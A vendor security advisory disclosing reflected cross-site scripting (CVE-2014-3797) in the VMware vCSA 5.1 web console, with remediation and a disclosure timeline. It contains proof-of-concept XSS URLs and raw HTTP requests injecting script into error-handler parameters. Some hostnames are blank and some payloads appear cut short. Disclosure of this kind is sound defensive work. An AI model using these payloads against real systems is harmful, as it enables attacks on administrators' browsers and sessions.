Trustwave's SpiderLabs Security Advisory TWSL2014-016: Reflected Cross-Site Scripting Vulnerability in VMware Virtual Center Appliance (vCSA) Web Application Console Published: 12/05/2014 Vendor: VMware (http://www.vmware.com/) Product: Virtual Center Appliance (vCSA) Web Application Console Versions Affected: vCSA 5.1 Product description: vCSA is used to manage the vSphere virtual environment and is a Linux alternative to vCenter server deployments. Finding 1: Cross-Site Scripting, Reflected Credit: Tanya Secker of Trustwave SpiderLabs CVE: CVE-2014-3797 CWE: CWE-200 It is possible to inject arbitrary HTML and JavaScript into requests which are ultimately executed by the end browser. The application was found to be systemically vulnerable to Cross-Site Scripting mainly due to the error handler in use echoing back user supplied data without sanitizing. A few examples are included below but should not be deemed exhaustive. In some instances, as the authentication mechanisms are being tied to the body of the request as a parameter and the application allows POST and GET to be used interchangeably it would be possible to use authenticated payloads for attacks outside of the user space so long as the 'HTTP_AUTHORIZATION' parameter contains a base64 encoded value of a valid username/password pair. The following example URL will render a harmless proof of concept alert box, whilst unauthenciated and the 'requestid' parameter is affected: https://:5480/service/virtualcenter/authcheck.py?requestid=auth%22%3E%3Cscript%3Ealert(%27xss%27)%3C/script%3E A couple of authenticated proof of concept URLs in the same area with different affected parameters: https://:5480/service/virtualcenter/support-bundle.py?checkbundle=tmppAtxmD&HTTP_AUTHORIZATION=Basic+"> https://:5480/service/virtualcenter/support-bundle.py?downloadbundle=">&HTTP_AUTHORIZATION=Basic+ Other examples with the full raw request/corresponding response: GET /service/virtualcenter/systemservice.py?_out=txt&requestid=serviceStatus' Content-Type: text/html Date: Wed, 26 Mar 2014 20:48:11 GMT Server: lighttpd/1.4.29 Content-Length: 641

404

Internal error: Cannot find method 'serviceStatus'

POST /service/virtualcenter/systeminfo.py?requestid=configFile"> HTTP/1.1 Host: :5480 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:27.0) Gecko/20100101 Firefox/27.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 83 HTTP_AUTHORIZATION=Basic+ HTTP/1.1 404 Not Found X-UA-Compatible: IE=7 Status: 404 Internal error: Cannot find method 'configFile">' Content-Type: text/html Date: Wed, 26 Mar 2014 22:30:48 GMT Server: lighttpd/1.4.29 Content-Length: 640

404

Internal error: Cannot find method 'configFile">'

Remediation Steps: Upgrade to VMware Virtual Center Appliance (vCSA) Web Application Console 5.1 Update 3. Revision History: 05/02/2014 - Vulnerability disclosed to vendor 12/04/2014 - Patch released by vendor 12/05/2014 - Advisory published References 1. http://www.vmware.com/security/advisories/VMSA-2014-0012.html About Trustwave: Trustwave helps businesses fight cybercrime, protect data and reduce security risks. With cloud and managed security services, integrated technologies and a team of security experts, ethical hackers and researchers, Trustwave enables businesses to transform the way they manage their information security and compliance programs while safely embracing business imperatives including big data, BYOD and social media. More than 2.5 million businesses are enrolled in the Trustwave TrustKeeper® cloud platform, through which Trustwave delivers automated, efficient and cost-effective data protection, risk management and threat intelligence. Trustwave is a privately held company, headquartered in Chicago, with customers in 96 countries. For more information about Trustwave, visit www.trustwave.com. About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.